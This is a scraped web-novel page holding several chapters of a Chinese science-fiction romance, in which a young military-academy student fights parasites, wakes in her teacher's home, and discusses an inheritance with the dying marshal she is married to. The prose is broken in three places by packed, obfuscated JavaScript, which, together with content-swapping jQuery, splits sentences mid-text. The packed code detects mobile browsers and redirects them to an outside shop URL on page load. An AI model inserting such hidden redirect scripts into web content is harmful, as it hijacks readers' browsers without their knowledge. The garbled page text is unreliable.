$(''.inform'').remove(); $(''#content'').append('' 上半身和下半身,脑袋是长的,光溜溜,然后从脑袋下面,前面后面就长满了长长短短的触手。 再到下半身,又变成了光溜溜的,只有两条粗壮的触手勉强当做它的双腿。 澄栖看着它的触手晃来晃去,陷入思考。 好灵活,一定有神经吧,神经都有了,血管还会没有吗?毕竟触手,也是手。 她在地上断掉的半截触手上踩了一脚,发现触手的截面,确实渗出来些和表面腐蚀性粘液不一样的液体。 拼了!澄栖转头,对着安澜说,“再踹我一脚。” 安澜二话没说,满足了澄栖的愿望,一脚又把她踢到寄生虫的脑袋上,还是有些生气,语气里透露出些恨铁不成钢, “早想清楚不好吗,白白挨第二脚。” 澄栖愣了一下,不知道安澜为什么要这么说,但这时候也容不得她多想。 澄栖一个翻身又挂到“腐蚀”脑袋后面的触手上。 腐蚀害怕安澜什么时候又给它来一刀,挣扎得越加用力,澄栖死死抓着它的触手,闭上眼睛感受着它身体里血液的流动。 终于找到了,独属于寄生虫“腐蚀”的血管走向。 再睁开眼睛的一刹,澄栖不知道自己的眼睛,又散开,变成流动的白色,安澜换了个姿势,把正对着她视线的那个方向挡住。 幸好,没过多久,澄栖的眼睛就恢复了正常。 “腐蚀”突然觉得自己身体里的血液好像不太对劲,慌张的情绪让它有些暴躁。 它将这一切都怪到身后的这个小人身上,于是一不做二不休,整个身体干脆向后倒,试图将澄栖压死,可不知道为什么,澄栖似乎能够预判到它的动作,它倒下的那一瞬间,她突然从“腐蚀”的后背跳到了它的前胸。 她手里的枪顶着它心脏地方,连续开枪。 澄栖的想法很简单,腐蚀也是需要时间的,她能找到它的心脏,对着心脏开枪,哪怕一颗子弹会被腐蚀,但是两颗,三颗,四颗呢。 腐蚀在地上剧烈挣扎,一秒,澄栖神色平静地一颗子弹一颗子弹地继续开枪。 五秒,挣扎减弱了,澄栖的枪还没有停, 十秒,腐蚀产生了一阵低频的颤动,然后,彻底没有生机。澄栖终于从它身上站起来。 终于死了,澄栖狠狠松了一口气,再不死,她的脚底板都要被腐蚀掉了。她看着自己的鞋底,被腐蚀得只剩下薄薄一层。 “酷啊!” 有学生逃跑着看见她击杀腐蚀的全部过程,跃跃欲试地看着安澜,“安澜将军,我也要挨踢!” 安澜扯了扯嘴角,随了他的意一脚把他踢到另一只“腐蚀”脑袋上。 前人栽树后人乘凉,他学着澄栖的样子也抓住了“腐蚀”脑袋后面的触手,摇晃着躲避它的攻击,等它主动往后躺。 然后,等到了寄生虫的背往墙上靠。 同学:不,不是应该躺下来吗?然后他会手一翻,帅气地踩到它的心脏上,砰砰砰开几枪,完成反杀。 这只寄生虫,竟然不按照这种剧本来! 他的脚抵在墙上,大叫救命。 澄栖双手捂住了自己脸,实在不忍心看。 安澜黑着脸在最后关头把他从寄生虫和墙面之间的狭窄距离中拉出来。 一出来,他直接晕了过去。 看到他的情况,原来不少想要被安澜踢一脚的学生,都默默放弃掉了自己的想法。 “那个,澄栖同学,不然,你再让安澜将军踢一下?” 澄栖同学杀寄生虫看起来挺容易的。 澄栖无力地沉默了。 什么叫再让安澜踢一下,说得轻轻松松,她的屁股不疼吗?! “求求你了!再试一次,我们想看清楚你到底是怎么做到的。” 澄栖黑着脸,不情愿地走到安澜面前。 安澜得意,“早说了,挨踢不是什么坏事。” 10. 苏醒 “来吧!”澄栖深深吸了一口气,做足心理建设。 这时候安澜却摇了摇头,抢过她手上的枪。 澄栖还没来得及疑惑,安澜把自己惯用的长刀按在她手心上。 “这把枪不适合你,你先用我的刀,它不会被腐蚀掉,把三只一下解决掉,你能做到吗?” 三只一下子解决掉?澄栖觉得手里的长刀实在烫手,但看着安澜的目光,也不敢把刀还回去,犹犹豫豫问,“我应该能做到吗?” 安澜果然脸又黑了,一脚把澄栖踹走。 真疼啊,比之前两脚都要疼。澄栖龇牙咧嘴地倒吸一口凉气,还顺手把长刀塞进空间扣了。 她已经轻车熟路抓住了吞噬脑袋后面的触手,感受着血管动向,找到独特的频率。 “这是在干什么?怎么眼睛还闭上了?” “莫非是独家绝技?” “那我一会儿要闭眼不?” 突然间,澄栖动了,她闭着眼睛躲过了腐蚀一次又一次触手攻击。 “?” “她眼睛,真的闭上了吗?” “远古人类传说里,有人有三只眼睛,澄栖同学不会也有三只眼睛吧,哈哈。” “她完美避开了腐蚀每一次攻击,这已经不是多一只眼睛的事情了,怎么感觉像预知?” 全场只有安澜满意点头,还好,不算太笨。 可是澄栖此刻却和面前这一只腐蚀陷入了胶着。 看似是她提前躲过腐蚀的攻击,但只有她自己知道,腐蚀根本就没有攻击她的欲望,它的情绪一直很稳定,一点都不像在攻击的时候会产生的,就好像只是甩着触手逗她玩。 而且,澄栖也没找到腐蚀接下来有其他动作的倾向,它到底想要干什么? 就在此时,另外一只腐蚀悄悄来到澄栖身后,它的动作轻,就连身上的黏液淌到地上的频率都减慢,澄栖依旧闭着眼睛,一动不动。 他们之间的距离越来越近了,近到另一只腐蚀只要一伸头,就能咬死澄栖。 学生们惊恐地眼睛睁大,嘴里发出破碎的音节,想要开口提醒澄栖,却被安澜一个眼神制止住。 安澜冷眼看着澄栖的状态,还差一点,就差一点。 背后的腐蚀已经敞开它布满獠牙的大嘴,黏稠的唾液滴滴答答落下来,而后,一口朝澄栖咬去。 闭着眼睛的澄栖瞬间动了。 她在脑海里回想着安澜借力跃起的动作,一脚踩在试图咬她的腐蚀脑袋上,在空中一个后翻身,落到它的后背。 而这只腐蚀因为动作太急,惯性地咬到了另一只腐蚀的后背。 两只腐蚀叠在一起。 就是现在! 澄栖的眼睛睁开,瞳孔像潮水一样流淌晃动,她看见了,腐蚀心脏的位置,还有,全身的血管。 安澜的长刀瞬间出现在她的手上,她从腐蚀后背一刀穿过去,穿破了它的心脏。澄栖继续发力,长刀穿透它的身体,刺进了和它叠在一起的另一只腐蚀的身体里。 澄栖角度一斜,又穿破一颗心脏。 这一连串的动作太险太快,好像所有人都没有来得及反应,包括澄栖自己,包括被刺穿的两只寄生虫腐蚀。 直到腐蚀发出尖锐刺耳的叫声,停滞的气氛才开始转动。 澄栖把刀抽出来,跳到地上,腐蚀巨大的身体倒下了,差点砸到她,她往旁边退了好几米才躲开。 回头,地上的腐蚀溅起尘灰,但再也没有任何动作。 真的死了,一下子死了两只。 大家在远处为澄栖鼓掌,惊叹的声音不绝于耳。 这可是高级寄生虫啊,就这么轻易死掉了! 澄栖抬头,本想向大家鞠躬表示感谢,然而下一刻,眼前一花,天旋地转,她也倒在地上,丧失了意识。 安澜神色一变,连忙把人捞起来,手往她额头上伸,瞳孔竟然和澄栖感受寄生虫血管动向时一模一样,变成一片潮水涌动般的白色。 “安澜将军,她没事吧?”学生有些担忧。 安澜的瞳孔迅速恢复正常,回头对着开口的学生微笑,“没事,力竭晕过去了。” “那就好那就好,咳咳,那个,既然都有同学晕过去了,那我们的课,是不是可以结束了?” 安澜笑容不变。 学生们觉得很有希望,打算继续请求。 安澜没有让任何人有开口的机会,抱着澄栖,剩下在她面前的学生,一脚一个,全部踢到腐蚀身上挂着。 有学生反应过来开始逃跑。 安澜将军手里还抱着人呢,应该追不上他们,他们现在赶紧跑,说不定就能挨到下课了! 然后一抬眼,就看见安澜像鬼魅一样站到了他们面前,还来不及刹车呢,就被踢飞了。 这群小兔崽子终于清晰的认知到,将军,就是将军。 最后一只腐蚀终于在众人合力下杀死。 安澜收了几只寄生虫尸体,还算满意地抱着澄栖离开了,只留下一群在地上一边默默流泪一边粗声喘气的学生。 不上了,再也不上了,安澜将军的格斗课。 —————— 澄栖昏迷的时候做了一个很长的梦。她梦到自己变成了一团黑色的雾,被关在四周充斥着电流的小盒子里。 那个盒子顶上有一个巨大的灯,昼夜都把小盒子照得像白天一样。 一根巨大的针头从顶上的灯中心伸进来,她想从针头旁边逃出去,结果一接触到天花板,就被电得满身糊味。针头依旧往她身体里伸,然后抽出满满一管血。 一团雾竟然会有血,也是稀奇。 澄栖痛得不行,满地打滚,被四周的电电得噼里啪啦,电得她剧烈抽搐。 浑身一抖,澄栖突然醒了。 她迷楞看着天花板,没有刺眼的巨大灯泡,只有柔和的阳光照在天花板上。 看久了,澄栖总觉得,自己好像有点分不清现实和虚幻了。 “终于醒了?先吃点东西?” 澄栖扭头,看见站在床边的安澜。 她出窍的灵魂瞬间弹回身体里面了。闭上眼睛默数三秒,再猛然睁开,发现安澜还站在床边。 好了,原来不是梦。 澄栖这才反应过来,周围的环境全是陌生的,她在别人家里,睡着别人的床。 想也不用想这是谁的房子了。 “睡几天把脑子睡坏了?” “……没。” 澄栖的脑子开始缓慢复苏了。 “安澜将军,我睡了几天?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060403|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“三天,快三天半了,现在下午五点,你起床吃点东西,晚上还能睡个回笼觉。” 那倒是不必,澄栖觉得自己恐怕是睡不着了。 “对了,这三天你不在学校,何希南给你打了两次通讯,我接了一次,说你在学校昏迷,跟我在一起。” “哦,他什么反应?” “无语了吧?”安澜回忆起来何希南长久的沉默,她都以为他要愤恨发火,嘲讽两句,结果居然没有。“他说让你醒了给他回通讯。” ”行。” 澄栖打开自己的手环,果然看见两通通讯记录,第一次没接,到最长时限手环自动挂断了,第二次,有五十秒的通讯记录。 她回拨过去,几乎是瞬间,那头的人就接通。 “夫人?我是何希南。” “嗯,是我。” “夫人和安澜在一起吗?” 澄栖的眉头微微皱起,有些不高兴,她都能猜到何希南后面打算放什么屁了,又是让她远离安澜那种话。 “嗯。”她淡淡从鼻腔里发出来一个字。 “听说夫人在学校晕倒了?夫人好好休息。” 澄栖:“?”这是太阳打西边出来了? 她怀疑得拿着手环看了一遍,确定自己拨通的是何希南的通讯,而不是什么何希北何希东的。 “你有事求我?”澄栖想,也只可能是这个原因了。 那边沉默片刻,回答,“抱歉,夫人,我那天不应该拿枪对着你,我愿意为我的错误负责。” “我已经主动申请去苏格星前线了,接下来如果夫人有什么需求,别墅已经安排了管家先生,我稍后会把他的联系方式发给您,再次为我的过错向您道歉。” “没事我就先挂了,祝您晚安。” 澄栖心中的疑惑越来越大。 何希南不对劲。他敢在元帅夫人逃跑时拿枪抵着元帅夫人的头,敢在元帅夫人接近元帅时拿枪对着她,很难相信这么一个元帅毒唯,会真诚的向她道歉。 他到底是迫于什么压力? 澄栖没有猜错,何希南确实是迫于压力。因为她离开的第二天早上,输了她一袋血之后,原颂又醒了一次。 看着输液架上空空的血袋和手上的针头,原颂还有什么不明白的。 “让何希南滚过来。” 彼时何希南脸上的巴掌印都还没消下去,站在原颂的病床前,沉默。 “我记得我第一次醒,就说过,不要给我输血。” “元帅,我不认为我做错了,如果不输血,您会死的。” 原颂语气平淡,“那就去死。” 原颂死了,他体内的寄生虫会彻底占据这具身体。 他的遗言早就留好了,到时候会把身体连带着身体里的寄生虫全部交给研究院。 原颂知道体内的寄生虫级别非常高,研究完这一只,人类对付寄生虫的办法,绝对能再进一步。 何希南低下的头双眼通红,咬牙回应,“夫人被联邦送过来,本来就是为了稳定您的病情。” “你真相信,联邦是知道她的血液能压制住我体内的寄生虫才把人送过来的?” 难道不是吗?何希南愣住。 原颂疲惫的揉了揉眉心,“澄栖呢,我要见她。” 11. 第 11 章 何希南面色复杂,说话吞吞吐吐,“可能……不太行。” 原颂:? 听完整件事情的始末,连他都不由得迟疑了片刻,看着何希南脸上还没消下去的巴掌印,对见到澄栖的期待又提高了一层。 好硬气的态度,挺有意思的,他当年都没有那么大的脾气。 原颂笑出声。 “元帅,我——” 原颂打断他,“道过歉了?” “没有,我给夫人打过两次通讯,是安澜接的,夫人在课上昏迷了,现在和安澜在一起。要不要,把夫人带回来?” 他们一直怀疑安澜和害原颂昏迷的叛徒有关系,只是苦于找不到证据,现在她和澄栖在一起,不知道又要弄出来什么幺蛾子。 原颂沉默了,看着何希南皱眉。这么些年,他也是头一次才发现,何希南好像缺一根筋。 “你想和安澜动手?” 动手这个词说得委婉,安澜一身臭脾气能混到现在这个位置上,哪怕是原颂,都不得不承认她的实力,非常强。 何希南,刚刚被澄栖打了没长教训,现在又想被安澜打一次? “属下愿意一试。” 别试了,真的。 “何副将,你有多久没有上过战场了?” 何希南不知道为什么原颂突然问这个问题,他立刻回想。 不算太久,可能快一年。这一年一直在主星上处理各方面的事情,才一直没有上过战场。他带着疑惑,如实回答。 原讼点点头,说,“苏格星爆发的寄生虫还没有解决,你提交申请去那里镇守一年。主星的事情,移交给秦叔。” 秦叔是从小照顾原颂的管家,因为年龄大了,原颂早早打发人去各个星球旅游,而现在却把人召回来,何希南不知道自己那里做错了。 是不应该那样对澄栖?所以就要把他换掉? 原颂:“是。” “为什么?她只是联邦不安好心塞过来的人而已,就算是元帅夫人,但是,但是……” 原颂叹了一口气,拉开被子,缓缓从病床山走下来,逼何希南低下头。 “何副将在主星呆久了,是不是已经忘了,我们是联邦的军人,不是翻云覆雨的政客。不管澄栖的身份是什么,你不该用枪对着一个无助的同胞。” 澄栖是个屁的无助的同胞! 但是何希南不敢反驳。 “好的,元帅,我会主动申请去苏格星的。” “嗯,把秦叔的联系方式给她,我会等她回来。” 时间转回澄栖醒的那一天。 她神色复杂挂断通讯,想破脑袋也没想出来何希南是抽哪门子风,态度这么真诚友善。 “怎么了?”安澜问她。 “没什么,我想回去了,谢谢安澜将军的款待。”澄栖摇摇头,没有将何希南的事情透露给安澜。 她又不傻,何希南不可靠,难道安澜就可靠了吗。 安澜没在意她的隐瞒,还好心提醒她,“你缺了好几天的课,其他的我不管,但是我的格斗,缺了几节,都要统统补回来。” 澄栖觉得自己可以再昏过去一次,她现在就已经觉得天要塌了。 “知道了。”她有气无力地回答。 傍晚,澄栖在自己的出租屋里,果然收到了何希南发来的管家联系方式。 看头像是个头发花白的慈祥老人。 但这谁说得准呢,毕竟何希南表面上还看着人模狗样的呢。 为了不太冒犯,澄栖先发了好友申请过去,一秒通过。 她还没反应过来,对面瞬间几十条消息轰炸。 “夫人,我是元帅的管家,早就听说你……”以下省略一大堆字。 图片,图片×2,图片×8 “夫人,这是我特意给您留的旅游特产,是从……”以下省略一大堆字。 “夫人喜不喜欢……我也买了点。”消息×4。 “夫人缺不缺……听说这个东西很好。”消息×3。 ……省略×数不过来。 澄栖看着消息界面,很难想象,对面打字速度这么快的人,竟然是个老大爷。 她觉得,自己光是看消息,都要把眼睛看花了。 直到最后一条消息蹦出来。 “夫人,要不回来吃个饭?” 澄栖看着这一条,竟然觉得松了一口气。 还好,总算有一条能回的了。 她在对话框输入拒绝的话术,管家的消息还在一条一条弹出来,图片里是各种准备好的食材。 算了。澄栖叹了一口气,把输入的内容全部删除,最后回了个“好”。 管家立刻欣喜地给她发了个时髦的表情包,欢迎她回家。 回完消息没过二十分钟,飞行器已经到了楼底下。 从飞行器里走出来的老头精神矍铄,穿着得体的礼服,皮鞋白手套,还带着一副金丝框的老花镜。 和澄栖小时候动画片里那种宫廷贵族的管家一模一样。 澄栖……澄栖有点不敢下楼,这也太有礼仪了,她有礼仪恐惧症。 管家带着几个穿着制服的人,一箱一箱往澄栖楼上搬东西。 场面之大,连安澜都被惊动了,打开门,安澜和澄栖对视一眼,又默契的挪开视线。 管家看见安澜,兴致更高,向安澜行了个得体的绅士礼。 安澜顿时后退两步,澄栖觉得她头发都要炸开,显然,不只是她一个人适应不来这种场面。 但是管家显然没有意识到,热情和安澜打招呼,“安澜将军,承蒙您关照夫人,在下为安澜将军也带了谢礼。” “不必。”安澜言简意赅,语速极快。 管家自动忽略,“区区小礼,不足挂齿。在下才旅完游回来,带了很多特产回来。安澜将军就当赏脸收下吧,听说这些东西对女孩子好,将军一定会喜欢的。” 安澜看着一脸笑意的老头,继续拒绝很像是在欺负老人。 “谢谢。” “我的荣幸。”管家瞬间激动了。 然后—— “安澜将军,这个你喜不喜欢……” “安澜将军,这个也很好……” “安澜将军,这个在下真心想要送给你……” …… 澄栖笑得趴在地上,还捂着嘴,不敢让声音发出来吸引了管家的注意力。 安澜额头上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060404|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青筋跳了又跳,原颂身边这个老头,怎么还是这么多话,真是,烦死人了! 她黑着脸直接走到澄栖面前,拎起来她的后衣领子,把她提到管家面前,“赶紧把人带走,我要睡觉了。” 管家看着被提后领子的澄栖,吓得眼镜差点掉,连忙回复“好”。 安澜是逃掉了,接下来澄栖就苦了,她从来没有见过这么能说话的人,整个路途,管家的嘴就没有闲下来过,澄栖听得有点头大。 偏偏对方每一句都在问候她,关心之意毫不掩饰,澄栖还不好意思打断他。 幸好飞行器速度快,澄栖迫不及待冲进别墅大门。 这绝对是她头一次这么渴望回到这个房子。 看着她如此迅速的动作,管家自动理解成她很喜欢这里,然后告诉她,可以把房产过户给她。 不了,真的受不起。 澄栖赶紧摆手。“先吃饭吧,管家。” 管家笑眯眯,“夫人可以叫我秦叔,他们都这么叫我。吃饭还要等一等,有两道硬菜没上,我先领夫人去二楼吧。” 去二楼?二楼不是元帅的治疗室? 澄栖有些迟疑。 秦叔笑眯眯看澄栖,像看后辈,“夫人别担心,有人在等你。” 谁? 澄栖的警惕心一下子就上来了。 元帅的父亲还是母亲? 网上收集到的消息是,元帅的父母都在其他星球旅居,他们终于知道元帅结婚的消息,赶回来了? 那他们见她就足够引起深思了,说不定是甩出一千万让她离开他们儿子那种。 澄栖可耻的心动了。 她深吸一口气,脑中还在不停演练一会儿见到元帅父母应该怎么表现才能拿到更多的钱,跟着秦叔上楼。 秦叔把她带到了二楼那个治疗室。 元帅呆的那间。 还是当着元帅的面谈,看来是很重视很急迫了,澄栖顿时觉得,金钱可能不止一千万。 “进去吧,夫人,我在门口等你。” “好。”澄栖在心里给自己打气,动作缓慢而坚定地打开了那扇通往财富的大门。 然后,没有看见元帅的父母,倒是本该在床上躺着的元帅,坐在了治疗室里的沙发上。 “初次见面,你好,我是原颂。”对方声音低沉而礼貌。 澄栖沉默,澄栖不太好。 原颂醒了,醒的真的是原颂吗?还是……寄生虫? “坐下聊聊吧。”原颂指了指自己对面的位置。 澄栖僵硬地走过去,屁股都只敢在沙发上坐一半。 她再也不敢肖想一千万了,她只期望自己今天能够活着从这里出去。 看出来她的紧张,原颂没有过多废话,当然,他的身体也经不起他过多废话。 木几上的遗产分配书推到澄栖面前。 “看看还有没有什么想要的,可以加。” 遗产?澄栖有些懵,猛然间抬眼看着原颂,不知道这是什么意思。 原颂看着她拘谨又惊讶的样子,有些好笑,向她解释, “我在前线受伤了,无药可救,接下来也活不了多久,总要先把身后事安排好。” 12. 第 12 章 这个身后事的范围里,当然也包括她了。 澄栖倒吸一口凉气。 她迟疑不决打开那份遗产分配,看完上面的东西,更是倒吸一口凉气,一下把文件合上了。 澄栖问,“真的假的?” 这可比一千万多多了。 “真的,有其他需求也可以提。” 澄栖从小到大哪里见过这种场面。怪不得何希南死心塌地跟着元帅呢,连她都要被迷惑眼睛了。 “可以问一下,为什么要给我吗?” 澄栖觉得,再怎么也轮不到自己身上的,要是她是原颂,联邦不安好心塞了这么个人过来,明晃晃是羞辱,她不迁怒已经很大度了。 原颂反而问她,“为什么不给?不是什么重要东西,只是一些钱而已,而你,夫人,为我争取了近两个月的缓冲时间,这些时间,足够解决太多事情。” 澄栖:…… 首先她表示很感谢,其次,她该死的又酸成柠檬了。 澄栖手里握着厚厚一沓遗产分配文件,深吸一口气,“元帅,我给您提个建议吧,你也别把这些给我当遗产了,你就当给我零花钱呗,我给你输血,不是有用吗?说不定就好了呢?” 澄栖话里也有些不太确定,她不知道到底能不能好,都输了一个多月的血了,寄生虫压制久了会不会产生耐药性?或者变异?就像水团那样。 但是她不太好问,如果问,就会暴露出来她知道原颂身体受伤的真实原因,那是个,她不应该知道的秘密。 原颂果然摇头,“你没发现,自己每次抽血的量都比上一次多,是想被抽成人干吗,夫人?” 没有任何办法。 不管是他身体里的寄生虫,还是澄栖的血,早就私下里检测了无数次,希望能做出来有效的抑制剂或者特效药。 可笑的是,不仅寄生虫的种类根本没有在任何资料上记载过,就连澄栖的血里,到底是什么成分在发挥作用都检测不出来。 原颂觉得,无用功也没必要继续做了。 澄栖听完他的话,沉默着把头低下来。 她知道,估计就是真的有耐药性了。到底是什么寄生虫这么厉害?澄栖有点心痒了,要是能弄到研究院检查一下…… “夫人?”原颂叫她。 澄栖浑身一抖,好像是被吓到了,睁大眼睛,“啊?”她就想想,不会真那么干的,叫她干嘛? “没事。”原颂看着被吓到的澄栖,很难将她和何希南嘴里那个嚣张跋扈的人联系在一起。 澄栖默默把那份遗产文件拿好,准备回去好好研究,“好的。” “嗯。” 澄栖突然觉得有点尴尬,总感觉好像在觊觎别人遗产一样,于是没话找话,打算表达一下对原颂的关系,“那个,您还有多久死?额,我是说,您还有多久能活?” 问完,气氛一下子凝滞了。 澄栖眉眼微微扭曲,恨自己为什么要没话找话,真对不起,她不是那个意思,她只是被金钱迷惑了眼睛。 原颂:他现在有点相信她确实有点嚣张了。 “也许还有一个月。” “哦,这样啊。”澄栖越说越觉得不对劲,这个语气,她自己都以为自己在表达失望。 索性也破罐子破摔了,“我真没希望你早点死的意思,其实我可以继续吊着你的命,万一哪天特效药就研发出来了?一个月抽三次血,如果你需要,我也可以接受。” 按照星际的恢复条件,一个月三次血还不至于死掉,最重要的是,她知道自己救的不是个白眼狼,还给她留了一笔下下下辈子也花不完的遗产,如果真看着人去死,她过不去自己心里那关。 原颂的视线和澄栖对视好几秒,澄栖平静看着他,表明自己的意愿,但最后对方却笑着摇头,“夫人,星际寄生虫学就业前景不错,好好读书吧。你这个年纪,最重要的事情就是读书了,至于其他什么,别瞎出主意了。” 这具身体能查到的年龄是十八岁,确实还在应该读书的年纪,但真的是不是十八岁,澄栖只想笑。 “接下来如果有什么需要,都可以告诉秦叔,他会帮你解决。” 原颂又病发了,额头上豆大的汗水淌下来。澄栖知道,估计是他体内的寄生虫在攻击宿主。 真是个狠人。 “其实……” “出去!” “哦。” 澄栖踩在地上,感觉不真实。 直到关上房门,看见秦叔反光的金丝眼镜框,才觉得灵魂被拉回来,原来,她刚刚真的是在和人商量遗产的事情。 “夫人,可以吃饭了。” “哦,好。” 秦叔接过澄栖手里的遗产分配书,笑容消失了一瞬,而后又重新恢复,只是状态到底是受了影响,人都变得沉默。 原来大家都已经这么平静地接受了元帅会死的消息吗? 好奇怪,为什么会这么平静呢。 “算了,秦叔,我有点吃不下。” “好的夫人,那我给您安排一下财产接收的事情?好几个星球都有产业,您可以趁周末去实地看看。” 得到澄栖的首肯,秦叔又忙前忙后的拨通讯,找时间,别墅忙成一团,澄栖坐在沙发上,突然觉得一楼和二楼好像成了两个被隔离的世界。 不管什么人遇到这种事情,心里多少都不得劲吧。 “嗯,确定一下时间。” “……可以开始准备。” …… “不用太张扬,核心层到。” “宴会?什么宴会?不去。” 澄栖回头看见秦叔瞬间黑掉的脸色,好奇问,“什么宴会?” 秦叔暂时挂断了对面的通讯,“皇室宴会,没安好心。” 他们的消息很快,他才通知三分之一元帅名下的产业准备转赠协议的事情,皇室宴会的邀请就联系上他了。 “皇室宴会?”澄栖想到什么,眼睛突然亮了,“我去。” “去?”秦叔也一下子愣住了。夫人是不是不知道,皇室的人很难缠? “秦叔,叫医生抽血吧,我还没参加过皇室的宴会呢,总要问问要怎么做。” 秦叔:? 原颂注射完镇定剂还没到三个小时,醒得莫名其妙。 眼睛睁开,看见了输液架上还剩下一半的红色液体,又有人给他输血了。 刚想发怒,转头发现澄栖坐在病床边拿着计算机和笔计本不知道在算什么。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17060405|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你醒了?”澄栖面带微笑,“我算了一下,如果元帅死了,我的遗产需要先交一堆杂七杂八的税,然后还会缩水一大截,我想了一下,元帅还是得活着,我的钱才能有保障。” 原颂的眼睛眨了两下,看着澄栖,她说话真的挺难听的。 “而且我还发现一个好消息,不知道什么原因,你只输了半袋血就醒了,这应该说明,你的病情在好转。” 不是病情好转,是澄栖的血变得更有效果了,至于为什么,澄栖不敢深究。,但总得来说,这在当下是一个不错的消息。 原颂的视线从澄栖身上挪到旁边观察仪器的医生身上,想要获得确切的答案。 医生向他点头,表明澄栖说的确实没错。 “我应该支付你什么?” 澄栖觉得,跟聪明且懂回报的人交流简直她舒心了。 “一命换一命,如果元帅的病因为我治好了,我希望得到这样一个承诺。” 她对自己有一个很隐秘的怀疑,如果原颂答应,就相当于为自己提前拿到一块免死金牌了。 “好,我保证。” 澄栖笑得更加开心,“哎,其实把你吵醒,是因为周日晚上皇室有个什么宴会给我发邀请函了,我没见过什么世面嘛,想去看看,所以想问问你,我有没有什么地方需要注意的。” 澄栖把自己准备好的章程给他看,小到穿什么衣服戴什么首饰,大到应该跟安萨斯陛下交流,怎么应对各种不同的刁难,通通做了设想。 原颂半坐在病床上,看着澄栖的安排,不知道什么时候皱起了眉头。 “有什么问题吗?我可以改改,你放心,我一定会注意元帅夫人的身份,不会落人口舌的。” “不是。”原颂摇头。“没必要对他们这么礼貌,让秦叔给你调一队我的私兵带过去。” 现在这种时候,原颂难以想象澄栖参加宴会会遭到多少刁难,越礼貌,只会有更多人蹬鼻子上脸。 “诶?真的行?” “为什么不行?” 澄栖真的震惊到了,这么拽这么爽?! “宴会没什么好玩的,一堆人围在一起勾心斗角,时间还长,你有没有熟悉一点的朋友,让秦叔接人过来,两个人在一起,好歹还能打发打发时间。” 熟悉的朋友? 澄栖迟疑开口,“安澜将军?” 房东兼格斗课老师,应该算熟悉一点的人了吧? 原颂笑一声,语气微妙,“夫人,你还真会挑人,挑了个我叫不动的。” 澄栖很惭愧,她确实没有其他熟悉一点的人了。 总不能带秦叔去宴会吧。 “不行就算了吧。”澄栖不太介意,原颂连私兵都给她了,至少有眼色的人都知道什么意思,不会想不开来招惹。 要是真有想不开的,那到时候再说。 “行,不过就要夫人自己叫人了,我只能弄到邀请函。” “好的,安澜将军,应该是愿意的吧。”澄栖总觉得,安澜对她有一种莫名的善意的,一起去参加宴会,应该也不会拒绝吧。 不出意外就出意外了,安澜不仅拒绝,安澜还要气疯了。 “原颂醒了。”他绝对已经醒了。 13. 第 13 章 一醒过来就给澄栖一个下马威?让她去参加皇室的什么狗屁宴会?真是好得很! 偏偏那个蠢兮兮的死孩子听起来还丝毫没有不愿意的意思,她的脑子是已经被寄生虫吃干净了吗? 安澜很难不生气,既然这样,她要送原颂一份大礼。 澄栖看着挂了的通讯,觉得有些莫名其妙,安澜将军怎么突然就生气了?她有什么地方惹到她了?澄栖想了想,觉得不应该啊。 “怎么?”原颂问。 澄栖摇头,“没什么,安澜将军可能心情不太好。” “那就我一个人去吧,宴会而已,能应付。”澄栖自信回复。 原颂“嗯”了一声,没对她的决定多加干涉。 没话说了,两个人默默散了。 终于到了宴会这天。 澄栖回了一趟出租房,把水团捞走了。 本来想跟安澜将军打声招呼,问一下她为什么最近心情不佳,她没在家。 澄栖也没多在意,反正以后见面的时间还长,有时间问的。 宴会特地选了一个星罗棋布的好晚上,出席的人来得很多,除了皇族的人,还有好些接到消息,知道澄栖会去的贵族大臣。 联邦的消息不对外宣布,但澄栖的底细却没瞒过他们。元帅夫人是从下等星上来的,听说连书都没读过,被塞进联邦军校混文凭。 简直笑死个人了,联邦建国以来从来没有听过这么好笑的事情。 元帅的名声,真是被毁得干干净净。 “你们知不知道,前几天威什星上最大的矿场背后的主人变了。” 说话的男人手里端着酒杯,不急不缓吐出来一个惊人的消息。 威什星的矿场?那是元帅第一次在前线立功时陛下赐给他的,现在背后的主人变了,这里面值得思索的东西可就太多了。 这种时候改变财产属权,很难不让人怀疑,元帅已经熬不下去了。 真是……大快人心啊。 “那真是太可惜了,我一直期待元帅能够醒过来,前线需要这样的英雄呢。” “别笑了,被莉丝公主听见,你不怕她去陛下面前闹?” 说话的男人耸耸肩,无所谓,“今晚莉丝公主哪里来得及理我们,元帅夫人恐怕已经能够占据她全部的怒火了。” “那倒是,哈哈哈。” “那倒是什么?” 他们讲得太尽兴,连澄栖悄悄站在他们身后都没有发现。 